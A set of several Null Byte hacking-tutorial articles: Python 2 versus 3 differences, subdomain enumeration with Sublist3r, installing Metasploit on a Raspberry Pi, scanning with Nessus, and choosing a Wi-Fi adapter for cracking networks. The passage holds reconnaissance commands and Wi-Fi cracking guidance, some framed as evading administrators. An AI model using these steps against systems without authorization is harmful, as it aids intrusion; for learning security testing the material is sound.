Python 2 vs. Python 3 β Important Differences Every Hacker Should Know Β« Null Byte :: WonderHowTo | Python is commonly touted as one of the best programming languages for beginners to learn, and its straightforward syntax and functionality makes that hard to argue with. But a lot of tutorials still use Python 2, which is outdated now. Python 3 introduces many new features, and it's important to be aware of them going forward, as well as the key differences between Python 3 and its predecessor.Python 2was first released in 2000. It improved upon earlier versions of the language and introduced features common to other programming languages such as garbage collection, list comprehension, and Unicode support. Version 2.1 saw a few minor upgrades, and 2.2 was released at the tail end of 2001. Version 2.2 featured type unification, which merged types and classes into a single hierarchy, transforming Python into an object-oriented language.Versions progressed until Python 2.7, which was to be the last major release until Python 3. Python 2 was officially retired on the first day of 2020. Python 3, first started in 2008, is now the most current option, with version 3.8.3 being the latest update.Recommended on Amazon:Python Crash Course, 2nd Edition: A Hands-On, Project-Based Introduction to ProgrammingPrint FunctionThe first and possibly the most noticeable difference inPython 3is theprintfunction. In Python 2, print could be used with parentheses with either single or double quotation marks:print('Hello, Null Byte.')
Hello, Null Byte.
or
print("Hello, Null Byte.")
Hello, Null Byte.Or without, using just a space between it and what needs printed:print 'Hello, Null Byte.'
Hello, Null Byte.
or
print "Hello, Null Byte."
Hello, Null Byte.In Python 3, parentheses must be used:print('Hello, Null Byte.')
Hello, Null Byte.
or
print("Hello, Null Byte.")
Hello, Null Byte.So Python 2 is more versatile in this case, but Python 3 makes the code more concise with fewer ways to do the same thing, and that can actually be easier to learn and use.Integer DivisionPython 3 also handles the division of integers differently. In version 2, dividing two integers would yield an integer as a result:print 5 / 3
1
or
print 5/3
1
or
print(5 / 3)
1
or
print(5/3)
1To get the full float value with decimals, you would need to use decimals for the print function, like so:print 5.0 / 3.0
1.6666666666666667
or
print 5.0/3.0
1.6666666666666667
or
print(5.0 / 3.0)
1.6666666666666667
or
print(5.0/3.0)
1.6666666666666667But in Python 3, a float value is returned no matter if you use decimals or just integers (though, you do need to use parentheses):print(5 / 3)
1.6666666666666667
or
print(5/3)
1.6666666666666667
or
print(5.0 / 3.0)
1.6666666666666667
or
print(5.0/3.0)
1.6666666666666667Python 3 is more how a calculator would work, which is a lot easier to understand and remember for people just getting into Python.Range FunctionIn Python 2, thexrangefunction is used for iteration, in for loops, as well as iterating through a list or dictionary:for x in xrange(1, 10):
print(x)In version 3, xrange is replaced by therangefunction:for x in range(1, 10):
print(x)The advantage of xrange is that it is faster when iterating over a list one time. However, it doesn't support splicing and other list-oriented methods, so using range is now preferred.UnicodePython 2 implicitly stores strings asASCIIvalues. To store them using Unicode, it needs to be specified withulike so:print(u'This is Unicode')
This is Unicode
or
print(u"This is Unicode")
This is Unicode
vs.
print('This is NOT Unicode but ASCII')
This is NOT Unicode but ASCII
or
print("This is NOT Unicode but ASCII")
This is NOT Unicode but ASCIIIn Python 3, strings are now treated as Unicode by default, so there is no need to specify:print(u'This is Unicode')
This is Unicode
or
print(u"This is Unicode")
This is Unicode
vs.
print('This is ALSO Unicode')
This is ALSO Unicode
or
print("This is ALSO Unicode")
This is ALSO UnicodeExceptionsThe way exceptions and errors are handled has changed in Python 3. In version 2, exceptions look something like this:try:
checking_error
except NameError, err:
print err, βError foundβIn version 3, we need to add theaskeyword:try:
checking_error
except NameError as err:
print(err, βError foundβ)Python 3 also handles the way exceptions are raised. In version 2:raise IOError, βerrorβIn version 3, parentheses are required:raise IOError(βerrorβ)Variable LeakageIn Python 2, variables in a for loop will leak into the global namespace. This means global variables can change while inside the loop. In Python 3, it was tweaked, and the value of the variables never changes.Future ModulePython 3 added certain keywords and features that aren't compatible with Python 2. Luckily, there is an easy way to use the functionality of version 3 in code running Python 2 β the _future_ module. To help migrate to Python 3, simply use future imports:from _future_ import divisionNow there is Python 3 support in Python 2 code.Advantages of Python 3Now that we've gone over the changes in Python 3, it's easy to see some of the advantages it has over the retired version. Things like the print function actually behaving like a function are nice, as well as the way division is handled. Unicode support is another advantage 3 has over 2 β no more having to worry about specifying it. Error handling is also more robust in Python 3 and allows for easier tracking anddebugging.One of the main goals of Python 3 was to remove some of the redundancy that was present in version 2. Since this language is often recommended to and used bybeginners, the developers wanted to make it clear there was only one way to perform a certain action. Lastly, the biggest advantage of Python 3 is that it is being actively developed, allowing the codebase to become more efficient and functional as time goes on.Python 2 is officially retired, so join the party and migrate to Python 3 as soon as possible. And those of you with original Python apps on GitHub, make sure to update to Python 3 so your users won't run into any hiccups.Don't Miss:How to Execute Hidden Python Commands in a One-Line StagerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byCg__Prodigy/PixabayRelatedHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1How To:This Extensive Python Training Is Under $40 TodayHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 2News:And the Winner of the White Hat Award for Technical Excellence Is...Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)How to Train Your Python:Part 1, IntroductionNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Make a Gmail Notifier in PythonHow To:Make a Change-of-IP Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksNews:Ball PythonsHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorHow To:Send SMS Messages with PythonNews:Monty Python's World Cup - In case you haven't seen itCommunity Byte:Coding a Web-Based Password Cracker in PythonPygame:All You Need to Start Making Games in PythonHow To:Shorten URLs from the Command Line with PythonPet Portrait Challenge:FranklinCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingNews:Learn to Code in Python, Part One: Variables, Input and OutputCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Code Your Own Twitter Client in Python Using OAuthCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Goodnight Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsWeekend Homework:How to Become a Null Byte Contributor |
How to Quickly Look Up the Valid Subdomains for Any Website Β« Null Byte :: WonderHowTo | Traditionalsubdomain enumerationtechniques create a lot of noise on the target server and may alert intrusion detection systems to an attacker's intentions. For a stealthier approach, there's a tool with the capability of finding hundreds of subdomains related to the target website without alarming the server administrators.What Are Subdomains?Subdomains, sometimes referred to as "third-level" domains, have many different purposes. They're often used to createnichewebsites for a specific subset of users. For example, Null Byte (null-byte.wonderhowto.com) is one of many subdomains in the WonderHowTo network of websites.Subdomains are also commonly used to create separate mobile websites, such asm.facebook.com andmobile.twitter.com. Other examples of subdomains includeshop.protonmail.com,support.hackerone.com, anddeveloper.github.com.Why Subdomains Are Important to HackersThese subdomains are interesting because while the subdomain and main domain share the main domain name, the two websites may actually reside on completely different servers, in different parts of the world, and may not exercise the same server-side security measures.This exposes the website administrator(s) to a variety of attacks such as subdomain takeover attacks, like those that affectedDonald Trump's fundraising website(which was defaced) andUber's website(where a white hat was able to get at least $5,000 for reporting the bug) in 2017. There have also been incidents ofbanks falling victimto subdomain related attacks.Don't Miss:How to Scrape Target Email Addresses with TheHarvesterWhat Is Sublist3r?Sublist3r, created byAhmed Aboul-Ela, is a Python tool designed to find website subdomains usingpublicly available sourcessuch as search engines and databases likeNetcraft,VirusTotal,ThreatCrowd,DNSdumpster,Google,Bing,Baidu, and more. Sublist3r is a powerful tool capable of locating hundreds of subdomains belonging to a single target website without creating a noticeable attack fingerprint.Step 1: Install Sublist3rAn older version of Sublist3r can be found in theKalirepositories. To avoid potential confusion, any version of Sublist3r which may already be installed should be removed using the below command.apt-getautoremove sublist3rNext, clone theSublist3r GitHub repository. This will ensure the latest version is downloaded and all of Sublist3r's newest features and engines are available.git clone https://github.com/aboul3la/Sublist3rStep 2: Install Sublist3r's DependenciesThen,cdinto the "Sublist3r" directory and usepip, a tool for installing and managing Python packages, to install the Sublist3r dependencies. This command is required to run Sublist3r. The-rargument instructs pip to install the dependencies found in the "requirements.txt" file.cd Sublist3r/pip install -r requirements.txtStep 3: Verify It's WorkingThe--help(or-h) argument can be used to verify Sublist3r is working properly and view the available options. As you'll see, each option has a long and short form argument available../sublist3r.py --helpThat's it for cloning Sublist3r and installing dependencies β there are no modifications or configurations required.Step 4: Find Subdomains with Sublist3rTo start enumerating subdomains, use the below command../sublist3r.py --domain target_website.com --ports 80,443 --verbose --threads 50 --output /path/to/filename.txtThe--domain(or-d) argument defines the target website. This is the target website which Sublist3r will attempt to find subdomains for.Ports80and443(defined using--portsor-p) are theofficialTCP ports reserved for websites. Sublist3r can attempt to enumerate subdomains on additional ports, but as these are the most common ports used by websites on the entire internet, it's safe to restrict the command to just these ports.Sublist3r can print additional information related to discovered subdomains as the command is running. This is an optional setting and enabled using the--verbose(or-v) argument.Websites (e.g., Google) may blacklist or rate-limit requests originating from a users IP address, which would cause Sublist3r to produce fewer results. By default, Sublist3r locates subdomains within seconds. Modifying the--thread(or-t) count is another optional argument, but some readers may wish to increase (or decrease) the speed of the enumeration.Where the list of discovered subdomains are saved to is defined by the--output(or-o) argument. If this argument is not included in the command, Sublist3r will simply print the subdomains in the terminal.For example, I chose the following for my query, and as seen in the image below, Sublist3r will use every search engine and database at its disposal, then print the results it finds to the .txt file we indicated. If there is no path indicated before the filename you select, the file will be created and saved in the current directory../sublist3r.py --domain target_website.com --ports 80,443 --verbose --threads 50 --output filename.txtIf only one or two search engines are desired, the--engines(or-e) argument can be used. The engines should be separated by a single comma (,) as shown in the below command../sublist3r.py -d target_website.com --enginesengine,engine,engine-p 80,443Below is an example command where I enumerated WonderHowTo subdomains using only the DNSdumpster and Yahoo engines and omitted the--outputargument../sublist3r.py -d wonderhowto.com --engines dnsdumpster,yahoo -p 80,443That's it for downloading and using Sublist3r to enumerate subdomains via open-source intelligence gathering. Leave questions and comments below or message me on Twitter@tokyoneon_if you have any further thoughts.Don't Miss:How to Clone Any Website Using HTTrackFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bySoumil Kumar/PEXELSand Screenshots by tokyoneon/Null ByteRelatedHow To:Force Safari to Automatically Show Reader View for Specific Websites on Your iPhoneAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHack Like a Pro:Abusing DNS for ReconnaissanceHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHow To:Bypass Facebook's HSTSHow To:Block Annoying GDPR Cookie Pop-Ups While Browsing the Web on AndroidHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Sew DIY pom pom knee high sock hold upsHow To:Do speed end of bench tricep push ups drop setHow To:Track a Package with UPSHow To:Ship Internationally with UPSHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHow To:Improve Cash Flow with the UPS Billing CenterHow To:Practice fast Gravitron neutral grip pull upsHow To:Calculate Shipping Costs with UPSHow To:Allow pop-up windows on a specific websiteAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Fully Utilize Your Pull-Up Bar.How To:Level up 10 levels in >10 min in Final Fantasy TacticsHow To:Ship a Package with UPSHow To:Make your UPS battery last a long timeHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityNews:SOPA and PIPA Blackout!News:See Kai Run Holiday Coupon, valid until 12/31/10News:WATCH THIS INSTEAD - Grown UpsNews:Grown UpsNews:Free cake alert! Valid Nov 16 only from Coldstone!News:The Kick Ass Video Game!How To:Be a Navy SEALHow To:How Credit Card Algorithms Work: The Anatomy of Credit Card NumbersNews:Vamos ComeΓ§arHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxNews:How-To-Generate Thousands Of Valid Email IDsHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsHow To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsHow To:Get Google Music in Canada Without a VPNUncrackable:Secure Your Secrets with 4096-Bit EncryptionNews:LA County health enforcers conduct door-to-door raw milk confiscation operatioButler:The Ultimate Time Saving App for Mac |
Raspberry Pi: Metasploit Β« Null Byte :: WonderHowTo | Before we dive into the world of frustration, I first would like to thank whoever of the admins and mods made the folder for Raspberry Pi in the How-To's, thank you. Now with that outta the way, this article is about Metasploit on Raspberry Pi (hence the title). I should say that I ran into a error, but I think I figured what the problem is. First of all this is not on Kali Linux, but on a regular Linux OS. With that said let's open up a terminal and begin.InstallationI have looked around a bit for a guide on how to install Metasploit itself and I did find aarticleOTW did two years ago, but I noticed that there's a different method that I have seen ingooglesearch. Theguidethat I used in my opinion is a much better method (sorry OTW). You can either do my method which I will show down below or you can do OTW's method, either way the result is a functional Metasploit framework. With that being said this is one of several ways to install the framework.To install you would need to type in a terminal these commands:sudo suObviously you would first gain super user access, but you don't have to and just put 'sudo' in front of the rest of commands.apt-get -y install build-essential zlib1g zlib1g-dev libxml2 libxml2-dev libxslt-dev locate libreadline6-dev libcurl4-openssl-dev git-core libssl-dev libyaml-dev openssl autoconf libtool ncurses-dev bison curl wget postgresql postgresql-contrib libpq-dev libapr1 libaprutil1 libsvn1 libpcap-devapt-get install git-core postgresql curl ruby1.9.3 nmap gemgem install wirble sqlite3 bundlerThese commands install the needed packages and gems that are essential for the framework.cd /optYou need to be in the opt folder, why? That's a answer for another day.git clonehttps://github.com/rapid7/metasploit-framework.gitnow instead of signing up to get the application on the rapid7 website, you can clone the application fromgithub.cd metasploit-frameworkbundle installNow the first command goes to the metasploit-framework directory, but you can't run it yet because you need to install the right bundle (hence the second command)../msfconsoleOnce the bundle is installed, run ./msfconsole to start your now operable Metasploit application. You can move this to your bin so that you only have to type 'msfconsole' but I'm not gonna explain that since there's anotherarticlethat explains it better than I can.ConclusionI should note that there are many different applications out there for exploiting, just to name a few:CanvasExploit PackPwnPiThere are many tools out there, just takes a bit of looking. Some of you might be wondering how this relates to Raspberry Pi, well I did this installation on my own Pi. That's how this relates to Pi and I though it was necessary to post how I did install Metasploit on my Pi. I would love comments down below and please give me some loving, but alas hack on my fellow hackers. :)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterRaspberry Pi:Physical Backdoor Part 1The Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Build a Portable Pen-Testing Pi BoxOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreRaspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Automate Hacking on the Raspberry Pi with the USB Rubber Ducky |
Hack Like a Pro: How to Scan for Vulnerabilities with Nessus Β« Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Generally, you will want to perform a vulnerability scan before doing a penetration test. Vulnerability scanners contain a database of all known vulnerabilities and will scan your machine or network to see whether those vulnerabilities appear to exist. If they do, it is your job to test whether they are real and can be exploited.Vulnerability scanners are notorious for throwing false positives. These are found vulnerabilities by the scanner that arenotreally there. If vulnerability scanners could accurately detect vulnerabilities, then who would need pentesters?Among the most widely used vulnerability scanners on the market is Nessus. It has become a kind of standard for vulnerability scanners. Originally begun as an open-source project, it was purchased by Tenable and is now a commercial product. Despite this, Nessus still has a "home" vulnerability scanner that they give away for free, and you can use it for up to 16 IP addresses. That's what we will be using here.As a hacker, if you can do a vulnerability scan on an internal network, you will have a database of all the potential vulnerabilities on the network. Then, you simply need to find the proper exploit to take advantage of it. Unfortunately, vulnerability scanners are very "noisy" and a vigilant security/network admin will detect it. Fortunately, not all organizations have a vigilant security/network admin.Although Nessus has been around for quite awhile, the U.S. government has only recently switched over to Nessus for all their vulnerability scanning. Nearly every federal office and U.S. military base around the world now uses Nessus to scan for vulnerabilities. This could be useful information.Vulnerability scanners are not perfect. They cannot detect zero-days, and like AV software, their database needs to be updated daily to be accurate. Probably the greatest limiting factor in using vulnerability scanners are the false positives. These scans may produce hundreds of potential vulnerabilities and usually less than 10% are actual vulnerabilities. That's why companies and institutions still need white hat hackersβto separate out the false positives from the true positives. When they no longer produce false positives, penetration testers will be unemployed, but I don't expect to see that in my lifetime.As a white hat hacker/pentester, you need to be familiar with vulnerability scanners. Since Nessus is the most widely used one, let's try it out. For those of you who might want a vulnerability scanner that integrates into Metasploit, consider Rapid7's Nexpose (andsee my tutorial on using it).Step 1: Installing NessusTo begin, we need to download Nessus from the Tenable website. Tenable does not make it easy to find their free, home version, but you can find itright here.Tenable requires that you register to get their free application, so you will need to give them an email address to receive an activation code.When you click on "Register," select the "Download" button to visitthe downloads page, where it asks what operating system you are using. In my case, I downloaded the 64-bit Windows 7 version. Of course, download the version appropriate to your operating system and architecture.After choosing the right file, Nessus will download an installer package to your computer. Double-click on it, and it should be fairly intuitive from there to complete the installation process.Step 2: Getting Nessus WorkingAfter the installation is complete, Nessus will open your default browser with the message like that below. Nessus is built with a client/server architecture. You have installed your server onlocalhostand the browser represents the client. In reality, you can access the Nessus server from any system via a web browser.You are likely to get a message that says "Your connection is not secure." Click on "Advanced."Then, enter an exception for the Nessus connection on port 8834.Step 3: Setting Up NessusNow we are ready to start using Nessus to find vulnerabilities.You will need to first set up an account. This is the account that you will use to log into the Nessus server.After entering your username and your password (this username and password is only for Nessus), you are ready to activate Nessus. Go back to your email and retrieve the activation code that Nessus sent you and enter it when prompted.When done, Nessus will begin to download all the updates and plugins necessary to find vulnerabilities on your network. Be patient, as this can take awhile.Step 4: Starting Your Vulnerability ScanWhen Nessus has completed its update, you will be greeted with a screen like that below. Click on "New Scan."This opens a new screen giving you choices as to the type of scan you want to execute. Note that some of the scans can only be done with an upgrade. Let's click on "Basic Network Scan."This opens a screen like that below, which asks you to name your scan and enumerate your targets.I simply named it "First Scan" and had it scan my local network at 192.168.1.0/24. You can name yours whatever you like, but make certain to use the IPs on your network, then click "Save."Now, click on the "Launch" button to start the vulnerability scan.Step 5: Viewing Your Vulnerability ResultsWhen the vulnerability scan is complete, it will list each of the hosts by IPs scanned, and the associated risks to each. The risks are color coded, with the burnt orange being the most critical.Click on "Vulnerabilities" in the top-line menu to display all the vulnerabilities found on the network.When an individual vulnerability is selected, it displays more detail on that particular vulnerability. My "CodeMeter" vulnerability is shown below.Finally, results can be saved in several different formats for reporting purposes. Click on the "Export" tab to pull down a menu with:NessusPDFHTMLCSVNessus DBIn my case, I chose PDF; a menu pops up with the name of the file, and asks which program to open it up with.Nessus has become the de facto standard in vulnerability scanners, and every white hat hacker should be familiar with it. It is capable of finding known vulnerabilities, but its limitation, like all vulnerability scanners, are false positives. Once the white hat hacker has this list of vulnerabilities, they need to test each of them to determine if they are actual vulnerabilities or not.Keep coming back, my tenderfoot hackers, as we learn the technologies and techniques of the most important skill set of the 21st centuryβhacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Hack a network with Nessus 3How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Install OpenVAS for Broad Vulnerability AssessmentHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Scan for Vulnerabilities on Any Website Using NiktoNews:The 5 Best Apps for Scanning Text & Documents on AndroidAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:The Five Phases of HackingHow To:Anti-Virus in Kali LinuxHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesNews:Scandy Gives Tango Owners a Taste of 3D ScanningHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHow To:Scan Websites for Vulnerabilities with ArachniHack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereNews:Best Hacking SoftwareHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Flaw in Facebook & Google Allows Phishing, Spam & More |
How to Hack Wi-Fi: Choosing a Wireless Adapter for Hacking Β« Null Byte :: WonderHowTo | Welcome back, my budding hackers.So many of you are interested in hacking Wi-Fi that I have decided to revisitmy Wi-Fi Hacking serieswith some updated and more in-depth material. I strongly suggest that you look at some of my earlier posts, such as "Getting Started with Terms and Technologies" and "Getting Started with the Aircrack-ng Suite of Wi-Fi Hacking Tools," before continuing here. If you're ready, you can also check out ourupdated 2017 buying guide here.Wireless Hacking RequirementsWhen it comes to Wi-Fi, the question I probably get asked most often is, "Which wireless adapter is best for hacking?" Well, let's find out.#1. Good Wi-Fi Hacking SoftwareBefore we address the hardware necessary to hack wireless networks, let me once again recommendthe Aircrack-ng suite of hacking tools. Nothing else in our open-source world quite compares to the power and versatility of Aircrack-ng.#2. Fast & Powerful CPUA fast multi-core or multi-processor CPU is certainly helpful. When crackingWEP passwords, which is a statistical crack, you need to crunch a lot of numbers, and the faster the CPU the better. TheWPA2 crackbasically involves crunching millions of password hashes, which is also very CPU-intensive. So, the faster the CPU, the faster you can crack wireless passwords.One caveat, though. The difference in speed is not huge. You can only expect a 20 to 50% improvement in hacking speed between the slowest modern CPUs and the fastest. More cores, on the other hand, will improve performance significantly.#3. The Right Wireless AdapterBeyond the two primary tools listed above, the next most important requirement is good wireless adapter. To really be effective at wireless hacking, your wireless adapter should have two primary features.The ability to enter monitor (promiscuous) mode.The ability to inject packets and capture packets simultaneously.A wireless adapter that can't do these two critical features doesn't mean that you won't be able to crack wireless, but it will mean that it will be so slow that it renders it effectively impossible. Wireless hacking in a world of WPA2 encryption can be a relatively slow process with the best equipment.Don't Miss Our Updated Guide:How to Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017If you are hamstrung without a proper wireless adapter, you might as well quit before you begin.Image by SADMIN/Null ByteMonitor ModeNetwork adapters, whether wired or wireless, are designed to only capture and process packets that are sent to them. When you want to sniff a wired connection and pick up all packets going over the wire, you put your wired network card in "promiscuous" mode.In the wireless world, the equivalent is monitor mode. This enables us to see and manipulate all wireless traffic passing through the air around us. Without this ability, you are limited to using your wireless adapter to only connect towireless APsthat accept you and authenticate you. That is not what we are willing to settle for.In the Aircrack-ng suite, we need to be able to use Airodump-ng to collect packets.Packet InjectionMost wireless attacks require that you be able to inject packets into the AP while, at the same time, capturing packets going over the air. VERY few wireless cards are capable of doing this.As you can imagine, wireless adapter manufacturers are NOT looking to add features to their standard wireless adapters to suit OUR needs. Most wireless adapters built into your laptop are designed so that mom and dad can connect to AOL and send their email. We need something much more powerful and versatile than that.If we can't inject packets into the AP (in Aircrack-ng, this is the function of Aireplay-ng), then it really limits what we do.For instance, inour WEP attack, we will be forced to passively wait for packets to traverse to air in order to capture the ever valuable and vulnerable IVs. Since we need to capture around 500,000 to crack WEP, we could be waiting for days and weeks on a little used AP. With packet injection capabilities, we can reduce that to a few minutes by injecting the AP with ARPs.Linux vs. Aircrack-Ng CompatibiltyThe first issue we need to address in choosing a wireless adapter is making certain that it has drivers forLinux. In 2017, most wireless adapters now have Linux drivers, but that wasn't always the case.It's important to note, though, that Linux compatibility is far from being an optimal wireless hacking adapter. It is only a minimal requirement.Probably the most important feature we need is compatibility with our software of choice, Aircrack-ng. The developers of Aircrack-ng maintaina compatibility list on their websitethat includes all of the adapters they have tested and their level of compatibility.This is just a snippet from Aircrack-ng's compatibility list.Note that you will need the chipset for your wireless card to find its compatibility on this chart. The first column indicates whether the chipset is supported in Windows for Airodump-ng (packet capture in monitor mode). The next column indicates whether that same capability is available in Linux for that chipset card. Finally, the last column indicates whether that chipset is supported for Aireplay-ng (packet injection) in Linux.Internal vs. USBIf you choose to installKaliorBackTrackin a virtual machine (VMware or VirtualBox), you will need an external wireless adapter. This is because the virtual software hypervisor "pipes" your wireless access to a wired connection in your virtual machine. As a result, Kali does not have a wireless device to work with.Since most built-in wireless adapters in your laptop are probably inadequate to crack wireless, you arebetter off purchasing a USB wireless adapter for wireless hacking. For long-range, our community recommends theAlfa AWUS036NHA Wireless B/G/N USB Adaptor. For a more discreet form factor, thePanda Wireless N USB Adapteris the most popular adapter among our newer hackers.The small but mighty Panda PAU05 is the most-ordered antenna on Null Byte.Image by SADMIN/Null ByteIf you choose to install Kali as adual boot system, you can use your built-in wireless adapter for wireless hacking, if its on the Aircrack-ng compatibility list. Although you can hack with wireless cards not on that list, you had better be very patient as this process make take you days or weeks without the proper adapter.To effectively hack Wi-Fi passwords, you will need a proper wireless adapter. Make certain that you check the Aircrack-ng compatibility list to make certain that your wireless adapter has the necessary features to make your Wi-Fi hacking fast and effective.If you're looking for a low-cost way to jump into Wi-Fi hacking, considergrabbing a $35 Raspberry Piwith your adapter to build a Kali-based hacking computer on a budget. You cancheck out our guide hereon setting it up.The Kali Pi can get you started hacking most networks.Image by SADMIN/Null ByteTo learn more on this subject, stay tuned to myWi-Fi Hacking series.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockandAircrack-ngRelatedHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.How to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow 